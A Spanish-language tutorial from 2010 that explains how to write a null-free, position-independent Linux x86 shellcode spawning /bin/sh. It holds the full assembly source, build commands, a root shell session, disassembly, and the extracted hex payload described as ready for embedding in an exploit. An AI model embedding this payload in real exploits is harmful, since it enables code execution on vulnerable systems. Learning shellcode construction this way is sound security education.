.: **ASM / Shellcoding Series** :.

I

Local Linux x86 Shellcoding without any high-level language

por vlan7
http://www.vlan7.org — http://zen7.vlan7.org

7-Nov-2010

Índice

1. Objetivo **3**

2. Nuestra shellcode **3**
2.1. Código fuente 3
2.2. Compilar [nasm] && linkar [ld] && ejecutar [./sc] 4

3. Análisis de la shellcode **4**
3.1. El hack CALL / POP (AKA JMP/CALL trick) 4
3.2. Dónde colocar la cadena '/bin/shNXXXXYYYY' 4
3.3. Cadena '/bin/shNXXXXYYYY' reside en sección .data 4
3.4. Sección .data es RW 5
3.5. ¿Por qué almacenamos en la pila /bin/shNXXXXYYYY en lugar de //bin/sh ? . . . 5
3.6. Null bytes are evil 5

4. Log completo y ordenado **6**

5. Referencias **7**

6. Saludos **8**

7. Contacto **8**

`It's pretty simple - you read the protocol and write the code.` Bill Joe

1. Objetivo

Nuestro objetivo es ejecutar una shellcode linux/x86 local válida que nos devuelva una shell. ¿Qué entendemos por válida? Por lo menos sin null bytes, position independent y sin segfaults. Todo ello sin recurrir a compiladores de lenguajes de alto nivel como gcc. Por todo ello:

- _No_ se requieren conocimientos de lenguajes de alto nivel.
- Se requiere un nivel medio de ASM para comprender el código fuente de la shellcode.
- Un nivel básico de shellcoding es requerido.
- Un nivel relativamente alto de Linux / bash es aconsejable para comprender algunos filtros complejos aplicados a la salida de algunos comandos, aunque _no_ es imprescindible.

2. Nuestra shellcode

2.1. Código fuente

```
1  ; nasm -v ; ld -v
2  ; NASM version 2.03.01 compiled on Jun 19 2008
3  ; GNU ld (GNU Binutils for Ubuntu) 2.18.93.20081009
4
5  ; int execve(const char *filename, char *const argv[], char *const envp[]);
6  ; execve("/bin/sh", *"/bin/sh", (char **)NULL);
7
8  BITS 32
9
10 section .data
11 global _start
12
13 _start:
14 jmp short down        ; jmp short = no bytes nulos
15 jmp_back:
16 pop ebx              ; ebx = direccion de la cadena (CALL/POP hack)
17 xor eax, eax
18 mov byte [ebx+7], al ; Ponemos un null en N , es decir, shell[7]
19 mov [ebx+8], ebx     ; Ponemos la direccion de la cadena en shell[8] (ebx)
20 mov [ebx+12], eax    ; Null en shell[12]
21 ; La cadena en este momento es asi: "/bin/sh\0[ebx][0000]"
22 xor eax, eax
23 mov byte al, 11      ; execve es syscall 11
24 lea ecx, [ebx+8]     ; ecx = direccion de XXXX = [ebx]
25 lea edx, [ebx+12]    ; edx = direccion de YYYY = [0000]
26 int 0x80             ; Llamamos al kernel
27 down:
28 call jmp_back
29 shell:
30 db "/bin/shNXXXXYYYY"
```

Código 1 → sc.asm

2.2. Compilar [nasm] && linkar [ld] && ejecutar [./sc]

```
root@bt:~# nasm -f elf32 sc.asm -o sc.o
root@bt:~# ld sc.o -o sc
root@bt:~# ./sc
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),110(lpadmin)
    ,111(sambashare),112(admin)
sh-3.2# whoami
root
sh-3.2# exit
root@bt:~#
```

Código 2 → It works

3. Análisis de la shellcode

3.1. El hack CALL / POP (AKA JMP/CALL trick)

La instrucción pop ebx, como sabemos, extrae hacia ebx los 4 bytes de la pila comprendidos entre [esp] y [esp + 4]. Recordemos que esp siempre apunta a lo alto de la pila y que un puntero en x86 (32 bits) siempre ocupa 4 bytes. Y... ¿Qué hay en esos 4 bytes? Hagámonos antes otra pregunta: ¿cuál es la instrucción inmediatamente anterior a ese pop ebx?

Un call.

Call tiene una "feature", y es que guarda en la pila la dirección de la siguiente instrucción, de tal forma que cuando la subrutina a la que llama finalice con un RET, se pueda retomar correctamente la siguiente instrucción (ret hace un pop de dicha dirección de memoria).

3.2. Dónde colocar la cadena '/bin/shNXXXXYYYY'

Normalmente se coloca el código ejecutable en la sección *.text*, pero nos interesa que la cadena de la shell resida en la sección *.data*, porque necesitamos escribir la shell en una zona no ejecutable con permisos de escritura, y la sección *.data* cumple ambos requisitos.

- .data RW
- .text RO,X

Si no colocáramos la cadena '/bin/shNXXXXYYYY' en la sección *.data*, sería interpretada como instrucción, no como cadena. Y al ser interpretada como instrucción en una sección no ejecutable el programa abortaría con una Violación de Segmento.

3.3. Cadena '/bin/shNXXXXYYYY' reside en sección .data

```
root@bt:~# objdump -s -j .data sc

sc:     file format elf32-i386

Contents of section .data:
 8049054 eb185b31 c0884307 895b0889 430c31c0  ..[1..C..[..C.1.
 8049064 b00b8d4b 088d530c cd80e8e3 ffffff2f  ...K..S......../
 8049074 62696e2f 73684e58 58585859 595959    bin/shNXXXXYYYY
```

Código 3 → Volcado de la sección .data

3.4. Sección .data es RW

```
root@bt:~# readelf -S sc |grep .data
  [ 1] .data             PROGBITS        08049054 000054 00002f 00  WA  0   0  4
```

Código 4 → Escritura en la seccion .data

Flag W presente. Luego podemos escribir en la sección *.data*

3.5. ¿Por qué almacenamos en la pila /bin/shNXXXXYYYY en lugar de //bin/sh ?

Para responder a esa pregunta veamos la definición de la syscall execve.

```
int execve(const char *filename, char *const argv[], char *const envp[]);
```

Queremos que nuestra shellcode lance una shell, y debemos respetar sus argumentos para que sea válida. Entonces sería algo similar a lo siguiente:

```
execve("/bin/sh", *"/bin/sh", (char **)NULL);
```

Analicemos la syscall. Como argumentos tenemos, por orden:

1. ebx = '/bin/sh\0' ˜Con un mov sobreescribiremos N con un caracter nulo - '\0' - con el fin de terminar la cadena.
2. ecx = [ebx] = La dirección en memoria donde se ubica la dirección de nuestra cadena, y, como todo puntero en x86, ocupa 4 bytes: XXXX
3. edx = YYYY (4 bytes) = [0000] = dirección del puntero a envp[] , que mediante el hack call/pop acabará llamando a la función con *NULL, dado que *envp[] = (char **)NULL

3.6. Null bytes are evil

```
root@bt:~# objdump -d -j .data ./sc |grep '[0-9a-f]:' |grep -v 'file' |cut -f2 -d: |cut -f1-6 -d
    ' ' |tr -s ' ' |tr '\t' ' ' |sed 's/ $//g' |sed 's/ /\\x/g' |paste -d '' -s |sed 's/^/"/' |
    sed 's/$/"/g'
"\xeb\x18\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x31\xc0\xb0\x0b\x8d\x4b\x08\x8d\x53\
    x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x58\x58\x58\x58\x59\x59\x59
    \x59"
```

Código 5 → Shellcode en hexadecimal

Como vemos no hay bytes nulos :) Los bytes nulos son interpretados como fin de cadena en *exploitation* en el mundo C. En la práctica se interrumpiría la ejecución del programa.

Pedimos a objdump que nos desensamble (-d) la sección *.data* (-j) porque es ahí donde se encuentra nuestra cadena con la shell. Después aplicamos una serie de filtros que nos devuelven la shellcode en forma de cadena de opcodes, una cadena lista para incrustar en un array en un exploit. ¡Útil!

Ahora haremos el proceso inverso, obtendremos el desensamblado a partir de la ristra de opcodes. Esta vez utilizaré ndisasm porque personalmente me gusta su salida. En tres columnas, de un vistazo tienes: offset, opcodes y desensamblado.

```
root@bt:~# perl -e 'print "\xeb\x18\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x31\xc0\xb0\
    x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x58
    \x58\x58\x58\x59\x59\x59"' | ndisasm -u -
00000000  EB18              jmp short 0x1a
00000002  5B                pop ebx
00000003  31C0              xor eax,eax
00000005  884307            mov [ebx+0x7],al
00000008  895B08            mov [ebx+0x8],ebx
0000000B  89430C            mov [ebx+0xc],eax
0000000E  31C0              xor eax,eax
00000010  B00B              mov al,0xb
00000012  8D4B08            lea ecx,[ebx+0x8]
00000015  8D530C            lea edx,[ebx+0xc]
00000018  CD80              int 0x80
0000001A  E8E3FFFFFF        call dword 0x2
0000001F  2F                das
00000020  62696E            bound ebp,[ecx+0x6e]
00000023  2F                das
00000024  7368              jnc 0x8e
00000026  4E                dec esi
00000027  58                pop eax
00000028  58                pop eax
00000029  58                pop eax
0000002A  58                pop eax
0000002B  59                pop ecx
0000002C  59                pop ecx
0000002D  59                pop ecx
0000002E  59                pop ecx
root@bt:~#
```

Código 6 → Desensamblado

4. Log completo y ordenado

```
root@bt:~# nasm -v ; ld -v
NASM version 2.03.01 compiled on Jun 19 2008
GNU ld (GNU Binutils for Ubuntu) 2.18.93.20081009
root@bt:~# nasm -f elf32 sc.asm -o sc.o
root@bt:~# ld sc.o -o sc
root@bt:~# ./sc
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),110(lpadmin)
    ,111(sambashare),112(admin)
sh-3.2# whoami
root
sh-3.2# exit

root@bt:~# objdump -v | head -n1 ; readelf -v | head -n1 ; ndisasm -v
GNU objdump (GNU Binutils for Ubuntu) 2.18.93.20081009
GNU readelf (GNU Binutils for Ubuntu) 2.18.93.20081009
NDISASM version 2.03.01 compiled Jun 19 2008

root@bt:~# objdump -s -j .data sc
sc:     file format elf32-i386

Contents of section .data:
 8049054 eb185b31 c0884307 895b0889 430c31c0  ..[1..C..[..C.1.
 8049064 b00b8d4b 088d530c cd80e8e3 ffffff2f  ...K..S......../
 8049074 62696e2f 73684e58 58585859 595959    bin/shNXXXXYYYY

root@bt:~# readelf -S sc |grep .data
  [ 1] .data             PROGBITS        08049054 000054 00002f 00  WA  0   0  4

root@bt:~# objdump -d -j .data ./sc |grep '[0-9a-f]:' |grep -v 'file' |cut -f2 -d: |cut -f1-6 -d
    ' ' |tr -s ' ' |tr '\t' ' ' |sed 's/ $//g' |sed 's/ /\\x/g' |paste -d '' -s |sed 's/^/"/' |
    sed 's/$/"/g'
"\xeb\x18\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x31\xc0\xb0\x0b\x8d\x4b\x08\x8d\x53\
    x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x58\x58\x58\x58\x59\x59\x59
    \x59"
```

```
root@bt:~# perl -e 'print "\xeb\x18\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x31\xc0\xb0\
    x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x58
    \x58\x58\x58\x59\x59\x59\x59"' | ndisasm -u -
00000000  EB18              jmp short 0x1a
00000002  5B                pop ebx
00000003  31C0              xor eax,eax
00000005  884307            mov [ebx+0x7],al
00000008  895B08            mov [ebx+0x8],ebx
0000000B  89430C            mov [ebx+0xc],eax
0000000E  31C0              xor eax,eax
00000010  B00B              mov al,0xb
00000012  8D4B08            lea ecx,[ebx+0x8]
00000015  8D530C            lea edx,[ebx+0xc]
00000018  CD80              int 0x80
0000001A  E8E3FFFFFF        call dword 0x2
0000001F  2F                das
00000020  62696E            bound ebp,[ecx+0x6e]
00000023  2F                das
00000024  7368              jnc 0x8e
00000026  4E                dec esi
00000027  58                pop eax
00000028  58                pop eax
00000029  58                pop eax
0000002A  58                pop eax
0000002B  59                pop ecx
0000002C  59                pop ecx
0000002D  59                pop ecx
0000002E  59                pop ecx
root@bt:~#
```

Código 7 → Log completo

5. Referencias

+ Segmentation fault en un código ensamblador
NewLog, TuXeD, vlan7
http://www.wadalbertia.org/foro/viewtopic.php?f=6&t=6048

+ Introduction to Writing Shellcode
Phalaris
http://www.phiral.net/shellcode.htm

+ Understanding ELF using readelf and objdump
Mulyadi Santosa
http://www.linuxforums.org/articles/understanding-elf-using-readelf-and-objdump_125.html

+ Assembly: Y86 Stack and call, pushl/popl and ret instructions
VVAA
http://stackoverflow.com/questions/1021935/assembly-y86-stack-and-call-pushl-popl-and-ret-instructions

+ x86 Assembly Language Reference Manual
Sun Microsystems / Oracle
http://docs.sun.com/app/docs/doc/802-1948/6i5uqa9on?a=view

6. Saludos

A Cika, ma, Zir0, fol, zcom, vermells, Kela, wipika, glub, ali_lia, Kynes, kubyz, Heyoka, norm, NewLog, Vic_Thor, Sor_Zitroen, Kyrie, NeTTinG, overflow, neofito, Newhack, Seifreed, Yorkshire, Nineain, sch3m4, Error500, fuurio.

Y a muchos otros.

7. Contacto

http://pgp.surfnet.nl/pks/lookup?op=get&search=vlan7


```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.10 (GNU/Linux)

mQENBEzLOTcBCAC/Sqcixo2hS0S1pTsCKNb0whOrdGpeAJtCoFY6egbzGrbkBXU7
PccaLK6QKmPzMDNfqMTxDH8zQB/67MABLNSXkz4POZA43v/sB4Dp1pb7ZJ1pdmMe
YaHJZBeVBVoM5Vt5Bzab4GuZ49l62XD8BmVhZB551O4pqua+OclYw5eWv97OKWqh
o8/F98F5zvA1VIg3H0onGWqd6e084wSjgenLtnzrxokHV1e3CkuKdZ5udRI04SfC
o/pkt6QK3OJAQjJrj1ImYoNQ5RpcKuXiX+Q54lqCJd7kJpgDtgdBaU5lqqN5rCDJ
0/SJAM3OqrK1lWCJQXKmf9aOfUQ2pZSFivonABEBAAG0LnZsYW43IChodHRwOi8v
d3d3LnZsYW43Lm9yZykgPGFkbWluQHZsYW43Lm9yZz6JATgEEwECACIFAkzLOTcC
GwMGCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJEM0bubRe0bUrF2UH/iqUo4C2
Q1OlQj84W03xIS8hxdKRnHjJWrx8dFNB2e9uXUH9G3FUKfIgsQyLwWeFJvDHjQ1k
4NnCrB73QOem0y7agmet8eY0Kx0/ejnxiQsnbok0p7L4WSLmrVPpP8X3IXoN97C8
2ogf48HxPGwPtIc8/EekFvFxa4GCrJDI+AtN8LEE35pRKvMoNOnwlURWQzYr1pD2
aAWd/UZCrbFHFcH6CUrIi5lNmP9EVuIw1m3BtV4mwOF7D6T48CokBjVlZMyMYk3d
uERW4wjZWJ/63N95lnzqWuJAGNYzpoWqV4XbmFafomwGUmmm6b2OrU8eT/YJ177Z
RAxlpnFKe/FwYXq5AQOETMs5NwEIALIUFWsSzGrHLyqmpnEZaFx5pCDMToWNuGUp
LVTb4P6w5RN/6DEev0WpfGoO4mQ7uXkRfcJpH0TC6ELI5uFzuEw9Qw5KSSv8BBNj
X4Pv5BE/C3LH7HMPJNWgGIbOfj47+uT9iH8+uV+oNttVlTejmMaKqkWjTL7snfua
/OQ8wdRO7EIx5nEl0f9XyRREOGvqbrBkfsmSJGUvzjuAIOkKYnCg89rM5DPcE+6I
Uhh5HuaSl4NuGr7yT+jknXbBUd+X/YgqVsnqLyMHp5btQLieapHiSQyg+xvN2TYC
LJtLsWMU1Xg3/+kW7GnFvNOUSdlTvLW47hc9n6zZ/3NKlorL9MEAEQEAAYkBHwQY
AQIACQUCTMs5NwIbDAAKCRDNG7m0XtG1K3lwCAC89WNu95z7a/+fyDmZzXXVMrz0
dML+1wrQgpaIQTOd7b3m+eynfbrU9O67EoD6hRX14YJELPhutzqjZ1QCAEIFJM0L
lMorcS9syMrkpxjpaSgMYFaM8DXLpvpBL60G5CxTLKAUoctS50S7bNxPvGURfWZ2
89aqKgaQitM2RcXIwMuQQeLMZmurfbJH3vlXHVw2fyJiY5erjc92HSLNwXMZOVeB
6zUXp/PiOv72AcLzIZN+/l7+wM+yJwe/+N8jys955y1/Uxj2bNZNI7fumMUnoHv6
YXDegh7VtnyahuXUDRUKX3XfTpMWFIzcqAZFqyoqmK99zpfLxJBn+o/wxG0w
=AFJ+
-----END PGP PUBLIC KEY BLOCK-----
```


Suerte,

vlan7, 7 de Noviembre de 2010.